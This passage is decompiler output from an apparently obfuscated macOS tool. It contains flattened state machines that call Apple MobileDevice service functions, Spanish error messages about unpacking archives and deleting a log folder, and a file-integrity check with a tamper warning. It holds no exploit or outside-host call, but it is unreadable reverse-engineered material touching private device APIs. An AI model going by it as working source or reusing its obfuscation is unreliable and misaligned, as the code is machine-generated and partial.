v211 = (int)v197 > 0;
v24 = 1;
v9 = -1977840351;
v25 = -486862193;
goto LABEL_972;
case 2093728258:
a3 = 573611;
v8 = 0;
v9 = 223107577;
v10 = -2073468604;
LABEL_979:
if ( v8 )
v9 = v10;
goto LABEL_981;
case 2104260338:
a2 = 4263428395LL;
HikariFunctionWrapper_16971(CFSTR("G\x8DΊ\x01\xE4\xFA\x36\x84\n\x17|\xF7\x53\xF0\x11\x9D\xA5\xE4\x14\x3C*\x7F\xA5\xA6\x9FJn\x97\x87"));
v13 = 0;
v116 = &OBJC_CLASS___NSFileHandle;
v9 = 33426991;
v14 = 1199575685;
goto LABEL_962;
}
}
else if ( v170 > 2127558646 )
{
if ( v170 == 2127558647 )
{
*v231 = -1513782485;
}
else if ( v170 == 2132272100 )
{
*v231 = 1613227230;
}
}
else
{
if ( v170 == 2105245461 )
{
strcpy(asc_10027922A, "StartTime");
a3 = 2311913472LL;
a2 = 2311913604LL;
v24 = 0;
v9 = 2105245461;
v25 = -1551869475;
goto LABEL_972;
}
if ( v170 == 2114890441 )
{
AMDServiceConnectionInvalidate(v143, a2, a3);
*v231 = -1454480662;
}
}
}
else if ( v170 <= 1948188686 )
{
if ( v170 > 1884085083 )
{
switch ( v170 )
{
case 1884085084:
asc_100278CB0[3] = 32;
asc_100278CB0[4] = 67;
asc_100278CB0[5] = 97;
asc_100278CB0[6] = 114;
asc_100278CB0[7] = 112;
asc_100278CB0[8] = 101;
asc_100278CB0[9] = 116;
asc_100278CB0[10] = 97;
asc_100278CB0[11] = 32;
asc_100278CB0[12] = 108;
asc_100278CB0[13] = 111;
asc_100278CB0[14] = 103;
asc_100278CB0[15] = 97;
asc_100278CB0[16] = 114;
asc_100278CB0[17] = 99;
asc_100278CB0[18] = 104;
asc_100278CB0[19] = 105;
asc_100278CB0[20] = 118;
asc_100278CB0[21] = 101;
asc_100278CB0[22] = 32;
asc_100278CB0[23] = 101;
asc_100278CB0[24] = 108;
asc_100278CB0[25] = 105;
asc_100278CB0[26] = 109;
asc_100278CB0[27] = 105;
asc_100278CB0[28] = 110;
asc_100278CB0[29] = 97;
asc_100278CB0[30] = 100;
asc_100278CB0[31] = 97;
asc_100278CB0[32] = 0;
asc_100277EC3[0] = 82;
asc_100277EC3[1] = 101;
asc_100277EC3[2] = 113;
asc_100277EC3[3] = 117;
asc_100277EC3[4] = 101;
asc_100277EC3[5] = 115;
asc_100277EC3[6] = 116;
asc_100277EC3[7] = 0;
strcpy(aS_8, "[!] Error al descomprimir");
strcpy(asc_100278D90, "[!] No se pudo eliminar el .tar");
LOBYTE(v7) = 118;
LODWORD(v6) = v7;
*v231 = -880655725;
break;
case 1923102109:
v8 = 1;
v9 = -1314924419;
v10 = 1653158926;
goto LABEL_979;
case 1934025471:
*v231 = -1328551968;
break;
}
}
else
{
switch ( v170 )
{
case 1848199921:
*v231 = -1166028871;
break;
case 1852087263:
a2 = 136602982;
a3 = 1060520292;
v8 = 0;
v9 = 51257033;
v10 = 1278468302;
goto LABEL_979;
case 1862599040:
v24 = 1;
v9 = 906268479;
v25 = 564269321;
goto LABEL_972;
}
}
}
else if ( v170 <= 1983729946 )
{
switch ( v170 )
{
case 1948188687:
AMDServiceConnectionInvalidate(v146, a2, a3);
*v231 = 1435162904;
break;
case 1974868900:
HikariFunctionWrapper_16975(v194);
*v231 = 1862599040;
break;
case 1978642577:
*v231 = -1291039218;
format = p_isa;
break;
}
}
else if ( v170 > 2010886516 )
{
if ( v170 == 2010886517 )
{
*v231 = 1009728741;
}
else if ( v170 == 2025693910 )
{
v24 = 1;
v9 = -1457650832;
v25 = 738119531;
goto LABEL_972;
}
}
else if ( v170 == 1983729947 )
{
*v231 = 1024790210;
}
else if ( v170 == 1990959588 )
{
a2 = (__int64)v198;
HikariFunctionWrapper_16957(v204, v198);
v210 = v176 == 0;
v8 = 1;
v9 = 1990959588;
v10 = -81686461;
goto LABEL_979;
}
}
if ( v170 > 1245954516 )
break;
if ( v170 <= 1092166128 )
{
if ( v170 > 1035689520 )
{
if ( v170 > 1050619130 )
{
switch ( v170 )
{
case 1050619131:
dword_10029F510 = 1;
v230 = &v110;
error = (CFErrorRef *)&v110;
v177 = &v110;
v171 = (unsigned __int8 *)&v110;
v190 = (unsigned int *)&v110;
v203 = &v110 - 2;
*v231 = -384167262;
break;
case 1051223601:
*v231 = 1419205181;
break;
case 1071932043:
a3 = 3246494728LL;
v8 = 1;
v9 = 1071932043;
v10 = -1138838105;
goto LABEL_979;
}
}
else
{
switch ( v170 )
{
case 1035689521:
*v231 = 375957560;
break;
case 1044194069:
a2 = (__int64)bytes;
v97 = CFDataCreate(allocator, bytes, length);
v24 = 0;
data = v97;
v9 = 1044194069;
v25 = -804854737;
goto LABEL_972;
case 1049084651:
v8 = 0;
v9 = -304584525;
v10 = 936159412;
goto LABEL_979;
}
}
}
else if ( v170 > 1011909677 )
{
switch ( v170 )
{
case 1011909678:
objc_release(v156);
objc_release(v155);
objc_release(v154);
objc_release(v174);
*v231 = -1344082391;
break;
case 1019201151:
*v231 = 5239153;
break;
case 1024790210:
v24 = 1;
v9 = -1101836800;
v25 = 455836240;
goto LABEL_972;
}
}
else
{
switch ( v170 )
{
case 1003162425:
v8 = 0;
v9 = 2093375373;
v10 = -486862193;
goto LABEL_979;
case 1009728741:
v8 = 1;
v9 = -825554005;
v10 = 1117300661;
goto LABEL_979;
case 1011211259:
*v231 = 312843879;
break;
}
}
}
else if ( v170 <= 1130532608 )
{
if ( v170 > 1107689198 )
{
switch ( v170 )
{
case 1107689199:
*v231 = -1873501545;
break;
case 1117300661:
v11 = 0;
v9 = 1117300661;
v12 = -989964214;
goto LABEL_957;
case 1129679766:
*v231 = 1830149128;
break;
}
}
else
{
switch ( v170 )
{
case 1092166129:
a3 = 159335838;
v8 = 0;
v9 = 544363768;
v10 = 1817405317;
goto LABEL_979;
case 1098626483:
v11 = 0;
v9 = -513546559;
v12 = 1334915473;
goto LABEL_957;
case 1102410533:
*v231 = 1827102346;
break;
}
}
}
else if ( v170 <= 1199575684 )
{
switch ( v170 )
{
case 1130532609:
*v231 = -709822864;
break;
case 1162162565:
*v231 = 975870982;
break;
case 1191269045:
v24 = 1;
v9 = 1651596247;
v25 = 1372506372;
goto LABEL_972;
}
}
else if ( v170 > 1235998591 )
{
if ( v170 == 1235998592 )
{
v13 = 0;
v9 = 624623815;
v14 = -89316860;
goto LABEL_962;
}
if ( v170 == 1236979223 )
{
a3 = 3453129342LL;
v8 = 1;
v9 = 1246811812;
v10 = -2031118184;
goto LABEL_979;
}
}
else if ( v170 == 1199575685 )
{
NSLog(CFSTR("G\x8DΊ\x01\xE4\xFA\x36\x84\n\x17|\xF7\x53\xF0\x11\x9D\xA5\xE4\x14\x3C*\x7F\xA5\xA6\x9FJn\x97\x87"));
*v231 = 2104260338;
}
else if ( v170 == 1230927078 )
{
*v231 = -52120371;
}
}
if ( v170 <= 1374661776 )
break;
if ( v170 <= 1451453832 )
{
if ( v170 > 1419205180 )
{
switch ( v170 )
{
case 1419205181:
a3 = 864608202;
v11 = 0;
v229 = *(_BYTE *)v203;
v9 = 1051223601;
v12 = -788615216;
goto LABEL_957;
case 1426585117:
a2 = (__int64)"isEqualToString:";
objc_msgSend(v184, "isEqualToString:", CFSTR("\xC7O\x85\u0083\x05\b\xB8\xF8\x1E\x8D\x81\xA5"));
objc_release(v184);
*v231 = 512632348;
break;
case 1435162904:
HikariFunctionWrapper_16969();
v11 = 0;
v9 = 1948188687;
v12 = -1286982119;
goto LABEL_957;
}
}
else
{
switch ( v170 )
{
case 1374661777:
v152 = &OBJC_CLASS___NSData;
*v231 = -1037898274;
break;
case 1388978421:
v11 = !v220;
v9 = 1974868900;
v12 = 1374661777;
goto LABEL_957;
case 1389413023:
v13 = v167 == 1376309261;
v9 = 755058199;
v14 = -1898269465;
goto LABEL_962;
}
}
}
else if ( v170 <= 1474479660 )
{
switch ( v170 )
{
case 1451453833:
v106 = CFDataGetLength(theData);
v8 = 1;
v172 = v106;
v9 = -1537342645;
v10 = 301598774;
goto LABEL_979;
case 1456188876:
a2 = (__int64)"objectForKeyedSubscript:";
v108 = objc_msgSend(v193, "objectForKeyedSubscript:", CFSTR("\xC5\xE82\x8E\xC8\x5F\x1F"));
objc_retainAutoreleasedReturnValue(v108);
*v231 = 299359784;
break;
case 1463420457:
v11 = 0;
v9 = 1271368226;
v12 = 1796146627;
goto LABEL_957;
}
}
else if ( v170 > 1492152142 )
{
if ( v170 == 1492152143 )
{
a3 = 3737076;
v24 = 0;
v9 = 1199575685;
v25 = 2104260338;
goto LABEL_972;
}
if ( v170 == 1549409089 )
*v231 = -1671071783;
}
else
{
if ( v170 == 1474479661 )
{
a2 = 2483073222LL;
a3 = 154814208;
v11 = 0;
v9 = 1884085084;
v12 = -880655725;
goto LABEL_957;
}
if ( v170 == 1487063100 )
*v231 = 654636325;
}
}
if ( v170 > 1278468301 )
break;
if ( v170 > 1247229615 )
{
switch ( v170 )
{
case 1247229616:
*v231 = 697319006;
break;
case 1263135104:
*v231 = -1671071783;
break;
case 1271368226:
*v231 = 1463420457;
break;
}
}
else
{
switch ( v170 )
{
case 1245954517:
*v231 = -1473453591;
break;
case 1246503291:
v8 = 1;
v9 = -806412737;
LABEL_911:
v10 = -1992211347;
goto LABEL_979;
case 1246811812:
*v231 = -2031118184;
break;
}
}
}
if ( v170 <= 1342475438 )
break;
switch ( v170 )
{
case 1342475439:
*v231 = 674499865;
break;
case 1372506372:
a2 = v228;
NSLog(
CFSTR("]\xC5\x6A\x05U\xD5\x20\xC6\x4DC\xF0\xAF\x62\x58\xE0\xD2\x5F]7\x9FJGM\xD6\x66Z\x1B\xA2\t\x98\xDB\xCE>\xA3\x10WIr)\xBBd"),
v228);
*v231 = 1651596247;
break;
case 1373061619:
*v231 = 2042186136;
break;
}
}
if ( v170 <= 1334915472 )
break;
if ( v170 == 1334915473 )
{
a2 = 1999231854;
a3 = 1711915594;
v24 = 1;
v9 = -1175504578;
v25 = -513546559;
goto LABEL_972;
}
if ( v170 == 1335031690 )
{
v11 = !v215;
v9 = 1492152143;
v12 = 893521270;
goto LABEL_957;
}
}
if ( v170 != 1278468302 )
break;
*v231 = 1852087263;
}
}
while ( v170 != 1305484679 );
return -1;
}
// 1000D1CD1: variable 'a3' is possibly undefined
// 1000D20B3: variable 'v26' is possibly undefined
// 1000D7672: variable 'v46' is possibly undefined
// 1000D896E: variable 'v6' is possibly undefined
// 100256144: using guessed type __int64 __fastcall AMDServiceConnectionInvalidate(_QWORD, _QWORD, _QWORD);
// 10025614A: using guessed type __int64 __fastcall AMDServiceConnectionReceive(_QWORD);
// 100256150: using guessed type __int64 __fastcall AMDServiceConnectionSend(_QWORD);
// 100256186: using guessed type __int64 __fastcall AMDeviceSecureStartService(_QWORD);
// 100278EA0: using guessed type __int16 aIO[30];
// 100279080: using guessed type __int16 aDI[35];
// 100279260: using guessed type __CFString stru_100279260;
// 1002792A0: using guessed type __CFString cfstr_A_10;
// 1002792E0: using guessed type __CFString cfstr_Z_7;
// 100279360: using guessed type __CFString cfstr_W_6;
// 1002793E0: using guessed type __CFString stru_1002793E0;
// 100279420: using guessed type __CFString cfstr_S_8;
// 100279460: using guessed type __CFString cfstr_C_9;
// 1002794A0: using guessed type __CFString stru_1002794A0;
// 1002794E0: using guessed type __CFString stru_1002794E0;
// 100279520: using guessed type __CFString cfstr_U_11;
// 100279560: using guessed type __CFString stru_100279560;
// 1002795A0: using guessed type __CFString stru_1002795A0;
// 1002795E0: using guessed type __CFString stru_1002795E0;
// 100279660: using guessed type __CFString stru_100279660;
// 1002796E0: using guessed type __CFString stru_1002796E0;
// 100279720: using guessed type __CFString stru_100279720;
// 1002797A0: using guessed type __CFString cfstr_R_7;
// 1002797E0: using guessed type __CFString stru_1002797E0;
// 100279860: using guessed type __CFString cfstr_Y_9;
// 1002798A0: using guessed type __CFString cfstr_S_9;
// 100279960: using guessed type __CFString cfstr_Kdcjd;
// 1002799A0: using guessed type __CFString stru_1002799A0;
// 100279A60: using guessed type __CFString cfstr_Apo_0;
// 10029F510: using guessed type int dword_10029F510;
//----- (00000001000DD2EF) ----------------------------------------------------
char verifyFileIntegrity()
{
bool v0; // zf
int v1; // eax
id v2; // rax
id v3; // rbx
id v4; // rax
id v5; // rax
bool v6; // zf
int v7; // ecx
__int64 v8; // r13
id v9; // rax
id v10; // rax
id v11; // rbx
id v12; // rax
id v13; // r13
id v14; // rax
id v15; // rax
id v16; // rax
id v17; // rax
char v18; // cf
int v19; // ecx
id v20; // rax
int v21; // ecx
NSString *v22; // rax
id v23; // rax
int v24; // eax
char v25; // cf
int v26; // ecx
int v27; // eax
id v28; // rax
id v29; // r13
__CFString **v30; // rax
id v31; // rax
__CFString **v32; // rax
id v33; // rax
id v34; // rax
id v35; // rax
id v36; // r13
id v37; // rax
id v38; // rax
unsigned __int8 v39; // al
id v40; // rax
id v41; // rax
unsigned __int8 v42; // al
int v43; // eax
id v44; // rax
id v45; // rax
id v46; // rax
__CFString *v48; // [rsp+0h] [rbp-190h] BYREF
id v49; // [rsp+8h] [rbp-188h]
_QWORD **v50; // [rsp+10h] [rbp-180h]
__CFString *v51; // [rsp+18h] [rbp-178h]
void *isa; // [rsp+20h] [rbp-170h]
id v53; // [rsp+28h] [rbp-168h]
id v54; // [rsp+30h] [rbp-160h]
__int64 v55; // [rsp+38h] [rbp-158h]
id v56; // [rsp+40h] [rbp-150h]
id v57; // [rsp+48h] [rbp-148h]
SEL v58; // [rsp+50h] [rbp-140h]
SEL v59; // [rsp+58h] [rbp-138h]
_QWORD *v60; // [rsp+60h] [rbp-130h]
SEL v61; // [rsp+68h] [rbp-128h]
SEL v62; // [rsp+70h] [rbp-120h]
SEL v63; // [rsp+78h] [rbp-118h]
SEL v64; // [rsp+80h] [rbp-110h]
SEL v65; // [rsp+88h] [rbp-108h]
SEL v66; // [rsp+90h] [rbp-100h]
id v67; // [rsp+98h] [rbp-F8h]
id v68; // [rsp+A0h] [rbp-F0h]
id v69; // [rsp+A8h] [rbp-E8h]
id v70; // [rsp+B0h] [rbp-E0h]
__int64 v71; // [rsp+B8h] [rbp-D8h]
id v72; // [rsp+C0h] [rbp-D0h]
id v73; // [rsp+C8h] [rbp-C8h]
int v74; // [rsp+D4h] [rbp-BCh]
int v75; // [rsp+D8h] [rbp-B8h]
int v76; // [rsp+DCh] [rbp-B4h] BYREF
__CFString **v77; // [rsp+E0h] [rbp-B0h]
__CFString **v78; // [rsp+E8h] [rbp-A8h]
__int64 v79; // [rsp+F0h] [rbp-A0h]
void *v80; // [rsp+F8h] [rbp-98h]
id v81; // [rsp+100h] [rbp-90h]
__int64 v82; // [rsp+108h] [rbp-88h]
__CFString **v83; // [rsp+110h] [rbp-80h]
SEL v84; // [rsp+118h] [rbp-78h]
id v85; // [rsp+120h] [rbp-70h]
id v86; // [rsp+128h] [rbp-68h]
id v87; // [rsp+130h] [rbp-60h]
__CFString **v88; // [rsp+138h] [rbp-58h]
id obj; // [rsp+140h] [rbp-50h]
bool v90; // [rsp+14Bh] [rbp-45h]
char v91; // [rsp+14Ch] [rbp-44h]
char v92; // [rsp+14Dh] [rbp-43h]
bool v93; // [rsp+14Eh] [rbp-42h]
bool v94; // [rsp+14Fh] [rbp-41h]
unsigned __int8 v95; // [rsp+150h] [rbp-40h]
bool v96; // [rsp+151h] [rbp-3Fh]
unsigned __int8 v97; // [rsp+152h] [rbp-3Eh]
bool v98; // [rsp+153h] [rbp-3Dh]
bool v99; // [rsp+154h] [rbp-3Ch]
bool v100; // [rsp+155h] [rbp-3Bh]
char v101; // [rsp+156h] [rbp-3Ah]
char v102; // [rsp+157h] [rbp-39h]
int *v103; // [rsp+158h] [rbp-38h]
__int64 v104; // [rsp+160h] [rbp-30h]
v104 = -1;
v74 = 2;
v76 = 609095983;
v103 = &v76;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v76 <= -13286138 )
{
if ( v76 > -1069172881 )
{
if ( v76 <= -669515122 )
{
if ( v76 <= -838170722 )
{
if ( v76 > -958770393 )
{
switch ( v76 )
{
case -958770392:
*v103 = -324647464;
break;
case -907892155:
v6 = !v90;
v1 = -2057298758;
v7 = -1149929205;
goto LABEL_263;
case -870782481:
v0 = 0;
v1 = 675084840;
v21 = 194403337;
goto LABEL_268;
}
}
else
{
switch ( v76 )
{
case -1069172880:
*v103 = -2014307209;
break;
case -1050382614:
v0 = 0;
v1 = -324647464;
LABEL_216:
v21 = -958770392;
goto LABEL_268;
case -1025112268:
*v103 = 1793614807;
break;
}
}
}
else if ( v76 <= -797375905 )
{
switch ( v76 )
{
case -838170721:
v6 = 0;
v50 = (_QWORD **)(v88 + 2);
v51 = v88[2];
v1 = 917910706;
v7 = -829593131;
goto LABEL_263;
case -829593131:
*v103 = 125275629;
break;
case -810289350:
objc_release(obj);
objc_release(obj);
v6 = 0;
v1 = -810289350;
v7 = 1440585006;
goto LABEL_263;
}
}
else if ( v76 > -730520758 )
{
if ( v76 == -730520757 )
{
v6 = 0;
v1 = -1944598330;
v7 = 896984597;
LABEL_263:
if ( !v6 )
v1 = v7;
goto LABEL_279;
}
if ( v76 == -706186220 )
{
v98 = v97 == 0;
objc_release(v67);
objc_release(v81);
v0 = 0;
v1 = -1316089976;
v21 = 823829205;
goto LABEL_268;
}
}
else if ( v76 == -797375904 )
{
*v103 = 1525316920;
}
else if ( v76 == -794928692 )
{
*v103 = -1397064130;
}
}
else if ( v76 > -324647465 )
{
if ( v76 <= -223025029 )
{
switch ( v76 )
{
case -324647464:
v0 = 0;
v1 = 1145714894;
goto LABEL_216;
case -276342442:
v101 = v102;
v25 = 1;
v1 = -810289350;
v26 = -1695188873;
goto LABEL_277;
case -233057958:
objc_enumerationMutation(obj);
*v103 = -730520757;
break;
}
}
else if ( v76 > -124814096 )
{
if ( v76 == -124814095 )
{
v6 = 0;
v1 = -1430806971;
v7 = 1723094772;
goto LABEL_263;
}
if ( v76 == -36727046 )
{
v18 = 0;
v1 = -13286137;
v19 = 1443791769;
goto LABEL_273;
}
}
else
{
if ( v76 == -223025028 )
{
v18 = 1;
v1 = 1323861290;
v19 = 687023091;
goto LABEL_273;
}
if ( v76 == -127534635 )
*v103 = -1411702515;
}
}
else if ( v76 <= -439418068 )
{
switch ( v76 )
{
case -669515121:
objc_release(v73);
objc_release(v87);
objc_release(v86);
v18 = 0;
v1 = 265157754;
LABEL_242:
v19 = -669515121;
goto LABEL_273;
case -568081722:
objc_release(v53);
v6 = !v96;
v1 = -1700541142;
v7 = 1198589094;
goto LABEL_263;
case -508071763:
v18 = 1;
v1 = 422264578;
v19 = 1615132388;
goto LABEL_273;
}
}
else if ( v76 > -373605682 )
{
if ( v76 == -373605681 )
{
*v103 = -2046183823;
}
else if ( v76 == -359847647 )
{
*v103 = -36727046;
}
}
else
{
if ( v76 == -439418067 )
{
v73 = v72;
v18 = 1;
v1 = -1680987639;
goto LABEL_242;
}
if ( v76 == -438237339 )
{
objc_release(v85);
objc_release(v87);
objc_release(v86);
v6 = 0;
v1 = -12099001;
v7 = 631441178;
goto LABEL_263;
}
}
}
else if ( v76 <= -1497621207 )
{
if ( v76 <= -1932700281 )
{
if ( v76 > -1975880468 )
{
switch ( v76 )
{
case -1975880467:
*v103 = 1829065581;
v70 = v49;
break;
case -1957332299:
*v103 = -508071763;
break;
case -1944598330:
*v103 = 896984597;
break;
}
}
else
{
switch ( v76 )
{
case -2057298758:
dword_10029F514 = 1;
v77 = &v48;
v78 = &v48;
v88 = &v48;
v83 = &v48 - 16;
v48 = CFSTR("\xC8\x63j\x95I\xB4/\a\xC1\x01\xC5\xDA\xAFy\x04\xA1k\x11\x8Fײ\x17\xEF\x97\x5D\v\xAA(dnR\xB2ߡ\xEE\x0E\x4E\x81U\x15\xEE\x01\xF1\xBE\xF6\xAA\xDC\x7E xC\x91Dr\r\x06sy\xFB,\u125ECd");
*v103 = 1818188641;
break;
case -2046183823:
v25 = 1;
v75 = dword_10029F514;
v1 = -1025112268;
v26 = -373605681;
goto LABEL_277;
case -2014307209:
v18 = 1;
v1 = 823829205;
v19 = -706186220;
goto LABEL_273;
}
}
}
else if ( v76 <= -1700541143 )
{
switch ( v76 )
{
case -1932700280:
v57 = &OBJC_CLASS___NSDictionary;
v58 = "dictionaryWithObjects:forKeys:count:";
*v103 = -359847647;
break;
case -1862652543:
asc_100279B40[3] = v91 ^ 0xB7;
asc_100279B40[4] = 69;
asc_100279B40[5] = 71;
asc_100279B40[6] = 82;
asc_100279B40[7] = 73;
asc_100279B40[8] = 84;
asc_100279B40[9] = 89;
asc_100279B40[10] = 93;
asc_100279B40[11] = 32;
asc_100279B40[12] = 77;
asc_100279B40[13] = 105;
asc_100279B40[14] = 115;
asc_100279B40[15] = 115;
asc_100279B40[16] = 105;
asc_100279B40[17] = 110;
asc_100279B40[18] = 103;
asc_100279B40[19] = 32;
asc_100279B40[20] = 102;
asc_100279B40[21] = 105;
asc_100279B40[22] = 108;
asc_100279B40[23] = 101;
asc_100279B40[24] = 58;
asc_100279B40[25] = 32;
asc_100279B40[26] = 37;
asc_100279B40[27] = 64;
asc_100279B40[28] = 0;
strcpy(asc_100279B00, "hooks/resources/3m104dU/a12");
strcpy(asc_100279BF0, "30bd496a96e49e3792f00f2f7edc96e8c431cc32c9e620f6ef91b7c9f9f84bee");
qmemcpy(asc_100279AB0, "Integrity failed\nPossible tampering", 35);
v92 = 32;
*v103 = -1410628704;
break;
case -1754052790:
*v103 = -1165661661;
break;
}
}
else if ( v76 > -1680987640 )
{
if ( v76 == -1680987639 )
{
objc_release(v73);
objc_release(v87);
objc_release(v86);
*v103 = -669515121;
}
else if ( v76 == -1520136659 )
{
*v103 = -568081722;
}
}
else if ( v76 == -1700541142 )
{
v46 = sha256ForFile((__int64)v87);
v85 = objc_retainAutoreleasedReturnValue(v46);
*v103 = 1319345637;
}
else if ( v76 == -1695188873 )
{
objc_release(obj);
objc_release(obj);
*v103 = -810289350;
}
}
else if ( v76 > -1198345505 )
{
if ( v76 <= -1165661662 )
{
switch ( v76 )
{
case -1198345504:
v6 = !v94;
v1 = -233057958;
v7 = 618243513;
goto LABEL_263;
case -1173971009:
HikariFunctionWrapper_17063(v80);
v18 = 1;
v1 = -1173971009;
v19 = 720180157;
goto LABEL_273;
case -1168914942:
v24 = -1316499078;
if ( v93 )
v24 = -276342442;
*v103 = v24;
v102 = 1;
break;
}
}
else if ( v76 > -1137283045 )
{
if ( v76 == -1137283044 )
{
*v103 = 618243513;
}
else if ( v76 == -1122175552 )
{
*v103 = -1754052790;
}
}
else if ( v76 == -1165661661 )
{
v43 = 1829065581;
if ( v100 )
v43 = -276342442;
*v103 = v43;
v70 = v69;
v102 = 1;
}
else if ( v76 == -1149929205 )
{
strcpy(aK_6, "Reinstall the app.");
asc_100279B40[0] = 91;
asc_100279B40[1] = 73;
asc_100279B40[2] = 78;
v91 = -29;
*v103 = -1862652543;
}
}
else if ( v76 <= -1410628705 )
{
switch ( v76 )
{
case -1497621206:
v79 = *(_QWORD *)(*v60 + 8 * v82);
v34 = objc_msgSend(obj, v61);
v86 = objc_retainAutoreleasedReturnValue(v34);
v35 = objc_msgSend(&OBJC_CLASS___NSBundle, v62);
v36 = objc_retainAutoreleasedReturnValue(v35);
v37 = objc_msgSend(v36, v63, v79, &stru_10025B688);
v87 = objc_retainAutoreleasedReturnValue(v37);
objc_release(v36);
v38 = HikariFunctionWrapper_17059(&OBJC_CLASS___NSFileManager, v64);
v53 = objc_retainAutoreleasedReturnValue(v38);
v39 = (unsigned __int8)objc_msgSend(v53, v65, v87);
v18 = 1;
v95 = v39;
v1 = -1497621206;
v19 = 698214759;
goto LABEL_273;
case -1430806971:
HikariFunctionWrapper_17073(obj, v59);
*v103 = 1723094772;
break;
case -1411702515:
objc_release(v54);
*v103 = -439418067;
v72 = v85;
break;
}
}
else if ( v76 > -1316499079 )
{
if ( v76 == -1316499078 )
{
v0 = 0;
v1 = -838170721;
v21 = 917910706;
goto LABEL_268;
}
if ( v76 == -1316089976 )
{
v6 = !v98;
v1 = 552555233;
v7 = 2034054613;
goto LABEL_263;
}
}
else if ( v76 == -1410628704 )
{
asc_100279AB0[35] = v92;
asc_100279AB0[36] = 100;
asc_100279AB0[37] = 101;
asc_100279AB0[38] = 116;
asc_100279AB0[39] = 101;
asc_100279AB0[40] = 99;
asc_100279AB0[41] = 116;
asc_100279AB0[42] = 101;
asc_100279AB0[43] = 100;
asc_100279AB0[44] = 46;
asc_100279AB0[45] = 0;
*v103 = -2057298758;
}
else if ( v76 == -1397064130 )
{
v96 = v95 == 0;
v0 = 0;
v1 = -1520136659;
LABEL_267:
v21 = -794928692;
LABEL_268:
if ( v0 )
v1 = v21;
goto LABEL_279;
}
}
if ( v76 > 917910705 )
break;
if ( v76 <= 609095982 )
{
if ( v76 <= 195169345 )
{
if ( v76 > 125275628 )
{
switch ( v76 )
{
case 125275629:
v25 = 1;
v1 = 2131253495;
v26 = 810629866;
goto LABEL_277;
case 139372908:
NSLog(
CFSTR("\x88\x93d\x1A\xE9\xE5\x3DO\x18\xB4\x84\xA05y\xA5\x9B9\x82Xʇ\xA8<\r\xF8Y\xB92\x8B"),
v79);
v18 = 0;
v1 = 1279355177;
v19 = 1716110533;
goto LABEL_273;
case 194403337:
v22 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("K\x12\xF6\x70\x5C\x8F\xBBr-Sz\"\xE2\xE3\x32\x1F\x89\xAB"));
objc_retainAutoreleasedReturnValue(v22);
*v103 = 675084840;
break;
}
}
else
{
switch ( v76 )
{
case -13286137:
v31 = objc_msgSend(v57, v58, v77, v78, 1);
obj = objc_retainAutoreleasedReturnValue(v31);
v32 = v88;
*((_OWORD *)v88 + 3) = 0;
*((_OWORD *)v32 + 2) = 0;
*((_OWORD *)v32 + 1) = 0;
*(_OWORD *)v32 = 0;
objc_retain(obj);
v59 = "countByEnumeratingWithState:objects:count:";
v33 = HikariFunctionWrapper_17057(obj, "countByEnumeratingWithState:objects:count:");
v93 = v33 == 0;
v18 = 1;
v49 = v33;
v1 = 1443791769;
v19 = -1168914942;
goto LABEL_273;
case -12099001:
objc_release(v85);
objc_release(v87);
objc_release(v86);
*v103 = -438237339;
break;
case 8279208:
*v103 = -1975880467;
break;
}
}
}
else if ( v76 <= 383256492 )
{
switch ( v76 )
{
case 195169346:
HikariFunctionWrapper_17067(v80);
*v103 = -1173971009;
break;
case 265157754:
*v103 = -276342442;
v102 = 0;
break;
case 373831048:
v99 = v82 + 1 == (_QWORD)v56;
v55 = v82 + 1;
*v103 = -1050382614;
break;
}
}
else if ( v76 > 552555232 )
{
if ( v76 == 552555233 )
{
v25 = 1;
v1 = -438237339;
v26 = -12099001;
goto LABEL_277;
}
if ( v76 == 577124410 )
*v103 = 1747662302;
}
else
{
if ( v76 == 383256493 )
{
v0 = 0;
v1 = -1397064130;
goto LABEL_267;
}
if ( v76 == 422264578 )
{
v16 = objc_msgSend(
v68,
"stringWithFormat:",
CFSTR("<\xD2\x29\x98\xB0\xF0\x5F\xD8\x38\x1E\xD0\xF5J\xF2\x57\x3D\xBA\xFBw\x9E\xE3A\xE1\x53\x85ώ\xBA\x13\x8A\xC3\x68v\xCA\x3C\xCB\x2A\x8Aܑ\x83\x9A\xB9D"));
v17 = objc_retainAutoreleasedReturnValue(v16);
HikariFunctionWrapper_17071(v17);
*v103 = 1615132388;
}
}
}
else if ( v76 > 698214758 )
{
if ( v76 <= 810629865 )
{
switch ( v76 )
{
case 698214759:
*v103 = 383256493;
break;
case 720180157:
*v103 = -439418067;
v72 = v80;
break;
case 751197447:
v6 = 0;
v1 = 751197447;
v7 = -907892155;
goto LABEL_263;
}
}
else if ( v76 > 841713256 )
{
if ( v76 == 841713257 )
{
*v103 = -1932700280;
}
else if ( v76 == 896984597 )
{
v18 = 1;
v1 = -1944598330;
v19 = -1137283044;
goto LABEL_273;
}
}
else if ( v76 == 810629866 )
{
*v103 = 2131253495;
}
else if ( v76 == 823829205 )
{
objc_release(v67);
objc_release(v81);
*v103 = -706186220;
}
}
else if ( v76 <= 631441177 )
{
switch ( v76 )
{
case 609095983:
v0 = v74 == -1373450552;
v1 = -2046183823;
v21 = -373605681;
goto LABEL_268;
case 618243513:
v6 = 0;
v1 = 1216685325;
v7 = -1497621206;
goto LABEL_263;
case 627663851:
v18 = 0;
v1 = -1173971009;
v19 = 195169346;
goto LABEL_273;
}
}
else if ( v76 > 675084839 )
{
if ( v76 == 675084840 )
{
v44 = HikariFunctionWrapper_17061(&OBJC_CLASS___NSString, "stringWithFormat:");
v45 = objc_retainAutoreleasedReturnValue(v44);
v0 = 0;
v80 = v45;
v1 = 1480541452;
v21 = 675084840;
goto LABEL_268;
}
if ( v76 == 687023091 )
{
v100 = v69 == 0;
v25 = 1;
v1 = -797375904;
v26 = 687023091;
goto LABEL_277;
}
}
else if ( v76 == 631441178 )
{
*v103 = 373831048;
}
else if ( v76 == 631927141 )
{
v2 = HikariFunctionWrapper_17069(v85, v84);
v3 = objc_retainAutoreleasedReturnValue(v2);
v4 = objc_msgSend(v86, v84);
v5 = objc_retainAutoreleasedReturnValue(v4);
objc_msgSend(v3, v66, v5);
*v103 = 1362001783;
}
}
if ( v76 <= 1491957490 )
break;
if ( v76 <= 1747662301 )
{
if ( v76 > 1654370780 )
{
switch ( v76 )
{
case 1654370781:
*v103 = -223025028;
break;
case 1716110533:
NSLog(
